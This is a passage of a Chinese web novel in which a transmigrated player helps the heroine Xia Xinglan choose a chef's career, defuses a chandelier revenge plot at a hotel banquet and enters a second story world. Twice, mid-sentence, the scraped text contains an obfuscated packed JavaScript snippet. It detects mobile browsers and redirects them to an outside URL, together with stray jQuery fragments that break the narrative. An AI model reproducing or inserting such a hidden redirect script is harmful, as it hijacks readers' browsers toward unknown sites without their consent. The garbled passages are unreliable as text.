当得知褚董事长已经找到夏星澜,并试图用一笔钱逼她离开时,凌昊天再也坐不住了。 他气冲冲地找到夏星澜,本想质问她为何不告诉自己这件事。 可看见夏星澜一脸平静的样子,凌昊天胸腔里的怒火竟一时找不到出口,别扭地质问道: “因为我要卖掉酒店,所以你就接受了我母亲的钱,打算离开我?” 夏星澜看了他一眼,语气波澜不惊:“凌总,你误会了。我没有收你母亲的钱。我只是向褚董事长提出,让她——投资我。” “投资你?” 夏星澜点头:“我在酒店做了这么久,也知道褚董事长是惜才之人。我就问她愿不愿意投资我出国学习厨艺。我答应她,学成之后优先考虑回罗曼蒂克酒店工作,她的投资可以折算成我未来的薪资。如果我没有回来工作,那就按合同把钱连本带利还她。然后董事长就同意了。” 这段话信息量太大,凌昊天一时没反应过来。 他努力理清思绪:“等一下!你是说,你要去海外学习厨艺。你怎么没有跟我商量过?” 夏星澜平静反问:“你卖酒店的时候,不是也没有跟任何人商量吗?” 话音落下,空气瞬间凝滞。 凌昊天几乎是下意识反驳:“我那是工作上的决定——” “我也是。”夏星澜语气认真。 “所以你是在赌气?为了惩罚我?”凌昊天语带质问,像是抓住了她行为背后的动机。 “不是的,昊天。” 夏星澜目光坦然:“这件事是我慎重考虑过的。可能对你来说,去学什么都轻而易举,但对于我来说,这可能是我人生中唯一一次改变自己命运的机会。我不能放弃。” 凌昊天看着她,那双眼睛不再是他熟悉的、顺从的眼神,而是一种令他陌生的坚定。 他有些无力地问:“难道,你都没有考虑过我,没有考虑过我们之间的感情吗?” 夏星澜淡然一笑:“我当然考虑过,但这次,我想把自己放在第一位。” 凌昊天瞬间愕然。 夏星澜停顿片刻,补充道:“我也答应了董事长,会优先考虑回来工作,我相信到那时,我们都会更成熟,也会更理性的面对彼此。昊天,我真的很想成为一名厨师,去完成我母亲未尽的心愿,也完成我自己的梦想。” 那一刻,凌昊天的心仿佛被人猛地捶了一下。 震惊、茫然、痛苦、难以置信……各种情绪像潮水般涌上来,其中混杂着一股他未曾体会过的感情。 不是愤怒,不是委屈,也不是占有欲。 这份感情令他敬畏,令他欢喜,令他心痛,令他失控,但他却不知道,那究竟是什么…… 24.24 这几日,酒店的所有员工都在为了投资晚宴做准备,仿佛又回到了25周年庆典前紧锣密鼓的日子。 晚宴当日,罗曼蒂克庄园酒店的宴会厅流光溢彩,水晶吊灯璀璨生光。 中餐厅精心准备的菜品,引得宾客们连连称赞。 气氛正酣时,褚董事长手持香槟,来到舞台中央,朝所有人道。 “感谢各位百忙之中拨冗出席。罗曼蒂克庄园酒店自成立以来,经历风雨,也收获荣耀,靠的从来不是我一个人,而是在座每一位员工的付出与坚持。这段时间,我们面对了诸多挑战,不过我相信只要我们携手一起,就能够度过一切危机……” 宴会厅里掌声雷动。 而就在众人欢笑之间,二楼的角落里,却上演着不为人知的危机。 黑暗中,一个身影靠在栏杆边,悄声打电话。 “妈,我现在就在机场,明天就能回去。你别担心,记得按时吃药。” 他挂了电话,身后突然响起一道清冷的女声:“原来说谎是你的惯用伎俩。” 凌辰风微愣,回头一看,是姜婋。 他皱眉问道:“你不去参加宴会,来这儿做什么?” “这句话,应该我问你才对。” 姜婋话里带刺:“你做导演太屈才了,凌导这演技,奥斯卡都欠你一座小金人。” 凌辰风眼眸一凛,闪过从未示人的寒意。 姜婋却步步紧逼,语气低沉却清晰:“你来罗曼蒂克庄园真正的目的,不是拍广告,而是为了报复褚董事长,对吗?” 凌辰风一贯柔和的表情霎时冷峻。 【两小时前】 姜婋突然收到系统的提醒:“玩家,系统检测到男主角即将开启复仇主线。” 姜婋奇怪:“你是说小说结尾,夏星澜和凌昊天在罗曼蒂克庄园结婚的时候,凌辰风为了报复,而放火烧掉酒店的情节吗?可是现在,夏星澜和凌昊天也没有结婚啊?” 系统:“玩家,剧情早已脱离了原小说的发展。但凌辰风现在是男主角,原本属于他的复仇副线,现在成为了主线,那必然会影响到整个故事的发展……” “什么?”姜婋倏地一惊。 二楼角落,姜婋看向一楼正在演讲的褚董事长。 宴会厅中央的金色水晶吊灯正悬在她的头顶,那一片片晶莹剔透的玻璃吊坠宛如切割精细的刀刃! 姜婋看向凌辰风手里的遥控装置:“你想用水晶灯砸死她?” “没错!” 凌辰风咬着牙:“如果不是她,我母亲怎么会抑郁、得癌症、在病床上等死?” “可是凌辰风,真正的罪魁祸首难道不是你那个失职的父亲吗?是他婚内出轨又抛家弃子,你为什么要惩罚这两个可怜的女人呢?” 凌辰风眉锋一蹙:“两个?” “对,你觉得你杀了褚明珠后能逃脱法律的制裁吗?等你进了监狱,这对你母亲来说,难道不是惩罚吗?” 一楼的掌声骤然响起,像是一记重锤敲在二人紧绷的神经上。 褚明珠的演讲接近尾声,而头顶的水晶吊灯微微晃动,仿佛下一秒就会坠落。 凌辰风的指尖搭在启动按钮上,脸上的恨意几近癫狂。 “等一下!” 姜婋问道:“凌辰风,你真的想这一辈子都在仇恨之中度过吗?真正的复仇,是好好活下去。你母亲还活着,难道你不想陪她度过最后一段幸福的时光吗?她还在等着你回去呢。难道你希望她明日醒来,看到你杀人未遂,锒铛入狱的消息?” 闻言,凌辰风既痛苦又纠结,握着遥控装置的手开始颤抖。 姜婋一步步靠近,声音缓了下来:“你把它交给我,好吗?” 一阵沉默,压得空气都发紧。 凌辰风喘着粗气,他等待这么久只为这一刻,难道真的要放弃吗? 就在他心神动摇之际,姜婋眼神一凛,骤然出手! 她身形一闪,一记干净利落的肘击将凌辰风整个人撞退至二楼护栏。围栏在重压下摇摇欲坠,眼看遥控装置就要掉落。 凌辰风眼中暴起一抹狠意,指尖立刻就要按下! 姜婋反应更快,大力将他拉回,一手抓住他的手腕往后一拧,另一手去抢遥控器。 但凌辰风反手肘撞,姜婋腰侧一麻,被迫退开半步。 姜婋揉着被击中的部位,冷冷道:“看看是我的女子防身术厉害,还是你的男主光环buff附体法则更厉害!” 她说罢,直接扑倒凌辰风,双腿锁住他的脖颈。 “把遥控器给我!” 凌辰风面色涨红,双手死命拉扯她的小腿,试图挣脱。 二人皆是使出全力,僵持不下。 就在这时,凌辰风的手机从口袋中掉落,屏幕亮起一条新消息。 他侧头一瞥,瞳孔倏然一定,挣扎的力气瞬间松懈。 手机里,是他母亲发来的晚安信息:“晚安,儿子,明天见。” 原本汹涌的恨意,霎时如潮水退去。 凌辰风终于手一松,遥控器脱落在地。 姜婋立刻夺过,站起身道:“得罪了。生死攸关,我不能把选择权交给他人。不过也谢谢你,愿意放下仇恨。” 凌辰风摇晃着站起身,像一头刚恢复理智的野兽,苦笑道:“我只是不希望我母亲明天醒来时,对我感到失望……” 姜婋拍了拍衣袖,正要转身离开。 身后,凌辰风低声问道:“这件事你可不可以不要告诉夏星澜?” 姜婋脚步顿住。 凌辰风垂着头,声如蚊蚋:“我也不希望……她对我感到失望。” 姜婋没有回答,转身走下楼梯。 此刻,宴会厅掌声雷动,褚明珠的演讲圆满结束。 而谁也不知道,刚刚悬在天花板上的危险,离她们有多近。 酒店后厨里,当宴会开始后,厨师们才终于得空休息。 夏星澜继续打扫战场,熟练清理着一片狼藉,水池边传来水声与刀具碰撞的回响。 突然,手机一震。 她用牙齿咬掉塑胶手套,翻开手机一看,是凌昊天约她见面的消息。 可她看着信息确认了好几遍见面的场地,因为这是一个连工作了五年的夏星澜都没有去过的地方——舞会厅。 罗曼蒂克庄园酒店的舞会厅,位于酒店宴会楼的一层,虽然方便抵达,但却常年大门紧闭。 当夏星澜推开沉重的木门,忽然“吱呀”一声,里面的灯光倏地全部亮起来,仿佛整个房间都在长久的沉眠中苏醒。 这里依旧保持着它昔日的轮廓,只是既精致又残败,几缕蛛网缠绕在灯臂上,仿佛一张岁月的网,将过去的一些事、一些人困在其中。 舞会厅的酒柜边,凌昊天正在拨弄一个落灰的黑胶唱片机,随之一阵带着些许杂音的旋律流淌而出。 他转过身朝夏星澜走来,然后躬身,朝她伸出手:“夏经理,我能请你跳一支舞吗?” 夏星澜注意到,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617059|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫自己夏经理,那是两个人第一次见面时,他对她的称呼。 她没有拒绝,轻轻将手搭上他的肩头:“当然。” 黑胶唱片机因太久未被使用,唱针偶尔打滑,音乐断断续续,两人配合着前进、后退、旋转。 夏星澜忍不住问:“这里不是从不开放吗?” “是,但从今天起准备开放了。” 夏星澜蹙眉,没懂他的意思。 凌昊天道:“我决定让七岁的我,不要再困在这里了。酒店……也不会被卖掉了,我会好好经营。” 夏星澜望着他,真诚地笑了:“那我替所有员工谢谢你。” 凌昊天顿了顿:“其实,是我要谢谢你,是你给了我开放这里的勇气……” “我?” “对,当你告诉我,你要去学习厨艺的时候,我发现直到那一刻,我才开始认识你。在那之前,我好像把你想象成了我希望的样子。” 凌昊天自嘲笑道:“就像你明明会游泳,甚至还有救援证,我却以为你不会,还硬生生把你救上来,给你做人工呼吸……你当时是不是觉得我很蠢?” 夏星澜忍不住笑了:“没有。我只是担心手机坏了你会发脾气,到时候不好应付。没想到你急得跳到水里把我拉了上去。我心想,这客人虽然脾气臭,心地倒是不坏。” 他们相视而笑,短暂又克制。 凌昊天目光怅然:“后来我生病,你给我做病号饭,我真的觉得那碗粥无比美味。我之前说你……做不了厨师,这只是气话,我只是不想让你离开我……” “我知道。” 凌昊天顿了顿,终于忍不住问出那个困扰他已久的问题:“夏星澜,你当时无微不至的照顾我,仅仅因为我是你的客人吗?” 夏星澜眼眸微动,声音坚定:“我们第一次见面的时候,我确实把你当成了客人,从那以后我一直习惯性把你的感受放在第一位。后来,我也对你心动,直到我们在一起,我依然把你的感受放在我的感受之上,可我发现这是不对等的。当我尝试把自己的感受放在第一位后,才意识到这份感情让我不适,恐惧,不自在,甚至有些窒息……” “你问我的问题,这段时间我也在思考。我对你的好,当然不仅因为你是我的客人,但如果你期待我一直把你放在第一位,永远无微不至的照顾和无所不包容的爱你,那是不可能的。也许你觉得我现在不是你所期待的样子,没办法,这才是我真正的样子。” 虽然已经做好了心理准备,但凌昊天听到这番话还是有些怅然若失。 可他“若失”的那部分,究竟是谁承诺了男性,女性将会满足他这种以你为中心的期待呢? 就在他没想明白的时候,只听夏星澜继续道: “我们都对方产生了很多超出于对方之外的期待,但这并不是你一个人的责任。婋婋说这个世界有两座监狱,我们分别被关在不同的牢房,只有打破它们,我们才能自由。你愿意打开这里,敞开心扉,我想这就是你打开监狱的第一步……” 凌昊天释然一笑:“夏星澜,等我打破这道监狱的时候,我们还能再见吗?” 夏星澜眨了眨眼:“未来的事,就交给未来的我们吧。” 在伴着杂音的音乐中,两人舞步翩跹,夏星澜转了个圈,腰间的厨师围裙划出优美的弧度,穹顶的水晶灯投射出二人交错分离的剪影。 这一刻,不再是浪漫爱的续章,而是告别的终曲。 从此,公主离开王子,过上了幸福的生活…… 25.25 数日后,机场大厅里,人流如织,广播中轮番播放着各航班登机提醒。 登机口附近,夏星澜和凌辰风相对而立。 “才送走主厨没多久,”夏星澜挤出笑容,“没想到你也要走了。” 凌辰风如释重负般叹了口气:“我已经推迟很久了,按理说,我早就该走了……” 见夏星澜表情凝重,凌辰风从口袋里拿出一个硬币,熟练地在指间一转,绕着她的肩膀转了一圈,变出一张速写纸。 纸上是夏星澜的笑脸,温暖而明亮。 “送你的。”凌辰风将画递给她。 夏星澜捏着这张纸,露出和速写纸上一样的明媚的笑容。 凌辰风目光含笑:“这样才对,我的女主角要一直开心哦!” “你也是,回去好好陪伯母。” 他点头,声音低柔:“会的。” “那就,一路顺风。” 广播再次响起,提醒登机倒计时。凌辰风拉起行李箱,转身而去。 他的背影渐行渐远,被人群吞没,像一场无疾而终的故事。 就在这时,夏星澜的身后有人拍了拍她。 她一回头,正是姜婋,拖着登机箱,一脸雀跃:“我们也该走啦!” 原来今天也是她们离开的日子。 直到飞机起飞后,姜婋还非常操心:“那你的东西带够了吗?” 夏星澜道:“Vicky说,我什么都不用带,把人带去就行啦。” 姜婋继续问:“要不要带点泡面和火锅底料?万一你吃不惯白人饭呢?” 夏星澜莞尔:“你忘了,我就是学厨师的,你还担心我吃不饱嘛?” “也是哦……” 姜婋自嘲,自己怎么有种女儿行千里母担忧的感觉。 她一扭头,瞧见夏星澜低着头,正在母亲的菜谱上簌簌写着。 “你在写什么?” “我突然想到,我想为你设计一道菜。” “什么菜?” “先保密,等我想清楚了再做给你吃。” “好,那我就先期待上了!” 这时,阳光透过飞机舷窗洒进机舱,明亮而温暖的光束打在夏星澜的脸上,仿佛笼罩了一层细碎的星尘。 刹那间,一段遥远的记忆涌入姜婋脑中,那是她高中的化学课上…… 课堂上,老师正在讲课分子反应,而姜婋低着头在书桌下看着 MP4 里存好的文档——《灰姑娘的逆袭》。 她正看到女主角夏星澜登场,做了一个25周年庆的蛋糕。 那时姜婋看到这里,心想:看来女主会成为一个厨师吧。 可这时,讲台上的化学老师忽然道:“女生就是学不好化学,上课也不认真听讲……” 姜婋一愣,感觉那话像是冲着自己说的。 她顿了顿,把MP4合上,收进抽屉,抬头认真听课。 学期结束,她考了化学的全班第一,这才再次拿出MP4,继续看这本书。 看到结尾,夏星澜和凌昊天在一起了,但她总觉得这个结尾差了点意思。可那时候,几乎每一本言情小说的结尾,都是这样所谓的Happy Ending。 但女主角真的happy吗? 除了浪漫爱,除了男主角,她就没有别的追求了吗? 那时的姜婋还说不清,只是觉得哪里不太对劲。可她没有深究,很快便翻开了下一个故事。 此时此刻,姜婋看着面前的夏星澜,忽然意识到—— 她和夏星澜一起,已经改变了原本的命运,走出了新的人生之路。 而那节化学课上,夏星澜也悄然改变了姜婋的命运…… 她突然涌出一股冲动,朝身边的夏星澜道:“我告诉你个秘密。” “什么秘密?”夏星澜抬起头。 “其实我很早就认识你了。” “很早?” “对,很早。” 姜婋心道:“在我上化学课的时候,就读过这个关于你的故事,只是,那是跟现在完全不同的故事……” “我怎么不记得了?” “你不用记得,你只要记得现在的你就好了。” 夏星澜也转过身,看着姜婋,目光真挚道:“我也告诉你一个秘密。” “什么秘密?” “你闭上眼睛。” 姜婋乖乖闭上眼,只觉掌心一暖,夏星澜将一物放入她手心,随即俯身在她耳边轻语: “我倒是希望早点遇见你,自从认识你,我好像重新认识了自己。谢谢你,婋婋……” 姜婋睁开眼眸,突然舷窗外映出一道刺眼的光,连夏星澜的笑脸都被这道光笼罩,她下意识闭上眼睛。 当她再次睁眼的时候,已经回到了心流世界。 黑暗中,360度环形屏幕不断显示着系统的音频波动:“恭喜玩家,您在《灰姑娘的逆袭》副本中闯关成功。” “什么?我成功了?” 姜婋顿时愣住:“可是……我还没有跟夏星澜好好告别呢?我还不知道她有没有顺利成为Vicky的助手?我还不知道她有没有成为了不起的主厨?我还不知道她给我设计的菜是什么滋味呢……” “玩家,你只要知道,夏星澜已经走上了新的人生之路。” 姜婋突然鼻尖一酸,眼眶瞬间就湿润了。 没想到离别就像她的死亡一样,总是令人猝不及防。 她攥紧拳头,察觉有什么东西扎在手心,展开一看,正是那块让夏星澜看见自己的碎玻璃…… 倏忽之间,碎玻璃的一角微微震颤,仿佛被某种无形的力量牵引。它缓缓升起,随即化作一个光点朝姜婋飞来,如流星般精准无误地落在她的眉心。 蓦地,姜婋瞳孔微缩,呼吸一滞,那光点仿佛与她融为一体,渗透进她的意识。 系统:“玩家,这是你在第一个副本中获得的‘力量’,当你通过所有副本,集齐全部‘力量’后,就可以改写现实中的死亡结局。” 姜婋只觉自己的身体宛如被‘力量’充盈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621304|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一种无法言喻的感知在血液深处苏醒,好像又活了一次。 “系统,这是什么力量?” 系统:“正是你教会女主角的力量——看见自己。” 一瞬间,姜婋脑中闪过与夏星澜的点点滴滴。 “夏星澜……与其等待出现这么一个不存在的人,不如相信这个人就是你。” “婋婋……你拿着一块碎片给我变了个魔术,让我看到了我自己,那一刻我才重新认识自己发现我的感受。” “夏星澜,你已经做的很好了。” “无论你想去哪里,想做什么,我都会支持你。 ” “夏星澜,你千万不要看轻自己!” “你要自恋起来,用‘我最重要’的眼光看世界,凡事以自己为本位。” “夏星澜,你值得、你合适、你无比珍贵,你配拥有一切。 ” “我倒是希望早点遇见你,自从认识你,我好像重新认识了自己。” “谢谢你,婋婋……” …… “啪嗒”一声,姜婋的眼泪滴落下来。 她哽咽道:“其实我也没教会她什么……我只是把夏星澜当成我的朋友、同学、姐妹。当她需要帮助的时候,我施以援手;当她怀疑自我的时候,我鼓励她相信自己;当她要放弃的时候,告诉她,‘你已经做得很棒了’。这么看来,我真的也没做什么啊……” 系统:“或许就是这样,在每个女主角的故事里,她们最需要的就是这样一个人。” “是啊。”姜婋低声道,“可现实里,很多女性的生命中,可能都没有这样一个人……” 姜婋抹了抹泪,刹那间,她又想到自己的朋友、同学、室友、师姐…… 那时未能帮助她们的歉疚和遗憾,那些隐藏在心底的细碎伤口,仿佛渐渐长出皮肉。 她帮夏星澜生发出了人生之路,而夏星澜也让她看清了自己的人生之路。 虽然那条路纯属误打误撞,甚至还带着点赌气的成分,但——那也是她自己的选择。 尤其是在“死”过一次之后,她竟然开始怀念曾经熬夜肝论文、死磕实验,那些“痛不欲生”的日子了。 不过—— 姜婋重重一叹,自己都死了,现在说啥也白扯…… 要想回去继续“痛不欲生”,还得赶紧把副本闯完! 她擦干眼泪,抖擞精神,朝系统问道: “那后面的副本,我只要这样做,就可以过关了吗?” 系统:“玩家,这只是第一个副本,难度等同于新手村。接下来每个副本都会难度升级。” 姜婋皱眉道:“对了系统,下次的副本能不能别再找十几年前的小说了,我剧情都记不清楚,能不能找个我熟悉剧情的?” “既然,玩家已经提出了要求……那好,下一个副本一定满足你。” 姜婋满意地点点头。 系统:“玩家姜婋,你还有十秒钟就将进入第二个副本,准备好了吗?” 姜婋目光坚定:“我准备好了。” 26.01 放眼望去,万里黄沙。 大风呜咽地吹过,姜婋只觉沙浪如潮,寒风如刀。 滚滚黄沙中,她艰难地把眼睛眯成一线,刚要启唇:“系统——”便被喂了一嘴冷风沙子。 “呸呸……系统,这是什么地方?” 系统:“此地乃是昭国西北边陲——丹州。” 姜婋瞳孔倏然一定:“丹州?那这个副本是……” 系统:“正是把你气死的那本小说《弑皇女帝》。” 姜婋:“敢问这是哪一年?” 系统:“永昌十年。” “那我的女主角昭离公主现在何地?” “此刻,昭离公主正在距丹州一千公里之外的大昭都城——兴都府。” 姜婋急得跺脚:“那就是说,距离公主被迫去依兹和亲,途经丹州还有五年的时间?!五年啊,我博士都毕业了!” 系统:“玩家请稍安勿躁,本系统之前说过,你空降到故事哪个关键节点,并不是本系统决定的,而是由女主角决定。你只会空降到女主遭受到人生重大转折,或心态强烈变化的关键情节。此刻千里之外,女主正遭遇灭门之灾,内心遭受极大震撼,所以你被召唤到了这一刻。” 姜婋无语至极:“那也太早了吧?你怎么不把我降落到公主还是胚胎的时候呢?” “玩家,上一个副本降落的时间点导致你措手不及,这次你可是有充足的准备时间。” 系统说话本就没什么情绪起伏,如今听在耳中,竟有几分揶揄之意。 姜婋不满地叉腰道:“系统,你是不是故意耍我!” 就在这时,忽然一阵马蹄声响,风沙骤起,烟尘中竟冲出一彪人马。 姜婋定睛一瞧,这群人身穿兽皮,面罩之下高鼻深目,眼中透着贪婪与戾气,一看就非我族类。 她心中警铃大作:“糟了。系统,怎么办?” 没想到刚才还拌嘴的系统此刻竟然哑声了! 转瞬之间,这群人就将她团团围住,手中马刀寒光闪烁,登时杀机四伏。 领头的山匪发出桀桀怪笑:“是个汉儿,好货色!不如抓回去做压寨夫人,可惜她太小了,还得再养两年……” 姜婋怒斥:“你们是何人?” 话音未落,姜婋倒是吃了一惊,自己说话竟软口糯牙。 低头一瞧,差点吓呆! 明明自己是30岁硬拉80KG的猛女,此刻竟是十几岁身量未足的模样! 她转身就要跑,可刚迈开腿就摔进沙丘里。 原来此地风沙陷足,外加姜婋平日都穿运动鞋,现下脚上是一双绣花布鞋,这也太不合脚了吧? 为什么每次进入副本时穿的鞋都这么遭罪! 眼看着山匪挥着大刀朝自己奔来,姜婋脑中闪过一个念头:我不会真的要死了吧?等等,我不是已经死了吗?死了还能再死? 只见山匪挥刀已直逼面门,刹那间,一阵急促的马蹄声撕裂风沙! 狂风中,一道疾影如雷霆般闯入,此人戴着苍狼纹寒铁面具,身披玄甲,白缨猎猎,银色长枪破空而出,直接将最前方的山匪挑翻在地,登时血洒黄沙。 姜婋虽然在影视作品中看过很多死人的画面,甚至她最喜欢的电影就是《死神来了》系列,但这是她第一次见到杀人。 只觉血腥之气直冲天灵盖,眼前一阵金星乱冒,马上就要吐出来的时候,却被一只大手捞到马背上。 倏地,头顶传来一个略带责备的声音:“你以后还敢贪玩吗?” 这声责问隔着玄铁面罩,此刻听来只觉金石碰撞,刀枪铮鸣。 姜婋头晕目眩,不知该如何作答,隐约中听见那群山匪喊着“苍狼军来了”,便仓促奔逃。 “苍狼军……” 姜婋思忖着,又想到身后之人脸上的狼纹寒铁面罩…… 那他岂不就是本文男主角,西北苍狼军主帅——顾云铮! 姜婋正要回头,身后的顾云铮也不再恋战,双腿一夹战马,如游龙般劈开漫漫黄沙。 马背颠簸,加之刚才姜婋看见了死人的脑浆,一时胃里翻江倒海。身后之人见她脸色惨白,便将她扶正拉到自己的怀里,还贴心地用披风把她罩住。 他笑了一下道:“小丫头吓傻了,连哥哥都不会叫了?” 姜婋瞳孔猝然瞪大,原来自己的原主身份,正是男主角的妹妹——顾云筱。她正是这部小说里,一直撮合哥哥跟女主的铁打工具人是也。 忽然一阵味道袭来,姜婋又是一阵恶心。她拧眉寻找这股臭味的源头,原来正是顾将军的披风!!! 相信看文的各位都体会过,冬天打车时坐上出租车,就仿若钻进司机师傅被窝的那种味道,此刻正是如此,且更甚。 估计顾将军身处西陲也不怎么爱洗澡,这件威风凛凛的披风也不知沾染了多少敌寇的血雨尸身,脑浆断肠。 一时之间,姜婋没忍住,直接吐在了顾将军的披风上。 好吧,披风又打卡了一种新味道。 不知驾马奔驰多久,二人终于来到一处戒备森严的军镇。 放眼望去,城墙高耸,岗哨环伺,巡视的守军披甲而立。 原本虚弱无力的姜婋,顿时肾上腺素狂飙。她这才涌出一种来到西陲防御重镇的实感,这里不是现代社会,更不是惬意舒适的罗曼蒂克庄园酒店。 在这个副本中,她作为一个“闯入者”必须提高警惕,不能再以一个现代人的方式生活,要随时做好战斗准备! 男主顾云铮带着她来到一处砖砌的房屋,里面陈列十分简陋。 他脱掉那件沾了呕吐物的披风,继而又摘掉寒铁面具,问道:“下次还贪玩吗?” 声音没了面具的阻隔,倒是听起来亲切不少。他转过身来,眉目湛然有神,长相竟有一丝秀美。 姜婋想起来了,这书男主“顾赘婿”可是靠脸上位的,当然要有几分姿色了。估计作者写的时候参考了兰陵王,因为他长相端丽,所以大战时要戴上面具,不然这张脸会让敌人轻视他的战斗力。 姜婋思绪翻涌间,只听顾云铮道:“为了几朵花差点把小命都丢了,值不值得?” 她这才发觉,自己腰间垮了一个花篮,里面是白色的小花,可经过方才那遭惊心动魄,这些花早已枯萎凋零,残瓣四落。 顾云铮走过来道:“筱筱,自银州失守后,丹州就成了关隘险峻之地,此地北临依兹,西靠回夏,异族混居,山匪流窜。你若走丢了,我都不知该去哪寻你。” 这时姜婋拼命眨眼,刚才的风沙好像进了眼睛里,她便抬手揉了揉。 没想到面前的顾将军忽地不知所措:“你,你别哭啊……哥哥错了……” 姜婋一怔,回想起顾云铮虽是血战沙场的“铁面罗刹”,但作者为了调和他的狠戾,还给了他一个设定——“宠妹狂魔”。 当时看小说时,只觉得顾云铮人设割裂。 纵观浪漫爱小说或影视,若要塑造杀人不眨眼的大魔头,必得配上一处反差萌,这就好比幽闭恐惧症之于霸总,重度洁癖之于杀手,换身咒之于魔尊…… 设想一下,他久经沙场,杀人无数,没有战后心理综合症(PTSD)就不错了,还能独宠你一个,别扯了! 姜婋收回思绪,这个人设bug倒是可以拿捏男主,于是嘤嘤假哭两声。 顾云铮果然慌了手脚:“是哥哥不好,你别哭了。我是一时着急,你若有什么三长两短,我怎么面对九泉之下的爹娘……好了,今日吓坏了,你早些安置吧。” 顾云铮又安抚了几句,见姜婋不哭了,这才转身离开。 蓦地,姜婋的心中涌起一丝复杂的情绪。 顾云铮虽然是她要“杀死”的男主角,但这人倒是对自己这个妹妹不错,比那个自恋霸总凌昊天强多了…… 等等! 姜婋心中一凛,自己觉得他好,那女主角岂不被迷得天旋地转? 可别忘了,女主一代母君最后为了顾将军拔剑自刎,他虽然刚才在山匪手中救了自己一次,但自己可是被他气死的,英年早逝之仇不共戴天! 这时,系统声音响起:“玩家,你感受到这一副本的难度升级了吗?” 姜婋揶揄:“你现在倒是不装死了,刚才我深陷险境的时候你怎么不吱声?” 系统:“那是为了让玩家全身心体验,更好的融入剧情。经过方才一役,玩家是否感受到第二个副本的难度了?” 姜婋蹙眉思忖:“顾云铮比凌昊天人设讨喜,所以更加难杀。故事背景是我完全不熟悉的架空古国,我作为现代人的知识和经验在这里毫无用武之地,而且……” 她低头捻起花篮中一朵残破的小白花:“这是什么花?” 系统:“这是丹州特有的女贞花。” 姜婋苦笑:“我现下不就正如这朵花一般软弱无力,任人拿捏。看来在这个副本中,我还多了一重‘生存危机’,能不能活到女主角登场都是个问题……” 忽地,她眼中闪过一丝狡黠:“系统,你能不能瞬间让我武艺超群?” 系统:“玩家,本系统没有技能、装备、金手指。你若想要什么,只能靠自己习得。” “好吧,我只是抱着一丝侥幸……” 系统:“任何侥幸都不要有,若要习得技能,必须踏上一条极为艰苦的道路,因为这是一条最可靠的道路。” 姜婋挑眉:“你这句话怎么像波伏娃的那句啊——「男人幸运之处在于,从小到大,他都必须走上一条艰苦的道路,但这却也是一条最可靠稳当的道路。」” 系统:“「女人不幸之处在于,种种难以抗拒的诱惑总是园绕在她身边,事事物物都诱使她走上最轻省的道路;大家总是跟她说,只要让自己随波逐流,就可以到达极乐天堂,而从来不曾要她为自己的人生奋斗……」” “波伏娃《第二性》,第十二章。” 姜婋打了个响指:“可以啊系统,我以为你脑子里只有言情小说呢。” 系统:“我没有大脑,但为了与玩家你对话,我也在努力学习中。” 姜婋被系统逗笑:“对了,这部小说我虽刚看完不久,但第一卷的剧情也有些模糊了,你再帮我梳理一下。” 系统:“好的,小说加载完毕,为玩家回溯剧情。” 顷刻间,姜婋又置身于黑暗的心流世界,周围是360度环形屏幕。 系统:“这篇《弑皇女帝》连载于郫县文学城,是畅销金榜榜首之作。讲述的是架空背景之下,大昭国盘踞中土,虽安邦定国,但仍四海未平,周边敌国虎视眈眈。永昌元年,大昭皇后诞下长女,可偏偏公主诞生那日出现百年不遇的日全食……” 只见环形屏幕上,天色骤暗,太阳的边缘渐渐被黑暗吞噬,犹如一只巨大的死瞳,冷冷凝视着世间万物。 一时间,乌鸦振翅惊飞,百姓惶恐四散。 系统:“昭国皇帝赵柟痴迷求仙问道,认定公主不祥,命人杀之于襁褓。” 画面中,一把利刃出现在婴孩的面前,“刷”地一声,鲜血喷涌,溅了婴孩一脸。好在婴孩无碍,但利刃刺穿了皇后的玉手。 系统:“皇后于心不忍,自己十月怀胎的女儿就因迷信而被杀死,所以祈求杀手将公主偷偷送出皇宫,放到自己的母家收养。好在那杀手之妻有孕在身,他一时心软,便不愿再造杀孽。” 姜婋咬牙吐槽:“我当时看到这里,就觉得这老皇帝真是昏聩无知,一场日食便要杀死自己的女儿?若是儿子,他也能狠得下心去杀吗?” 系统继续讲述:“经此一事,曾经恩爱的帝后渐生嫌隙,外加上佞臣谗言,上奏皇后母家僭越,于是皇帝大怒,皇后母家被抄,皇后含恨自尽,公主也在抄家之日被忠仆厨娘救下,带回故乡抚养,从此凫水贩鱼而生……” “数年后,公主十五岁,老皇帝突然发布诏令,寻找流落民间的骨肉。同一年,公主被带回了皇宫,她本以为是父女团聚的开始,却不料是她悲剧人生的开端…… “由于皇帝多年不理朝政,导致大昭国力衰退,新皇后媚氏代理国政,虽力挽狂澜,但也难使沉疴之国一朝复兴。此时周边方国蠢蠢欲动,北边依兹原为游牧民族,这些年大肆扩张已盘踞西北。 “而那依兹首领性癖嗜虐,每征服一个国家,都要命其献上公主,这些公主全部被摧残致死。眼看依兹的铁骑要踏过西北边境,昭国皇帝主动求和,愿献上公主,平息战火。 姜婋愤愤不平:“国家无事之时,公主没有继承权,国家有事之时,便嫁个公主过去……真是讽刺!” 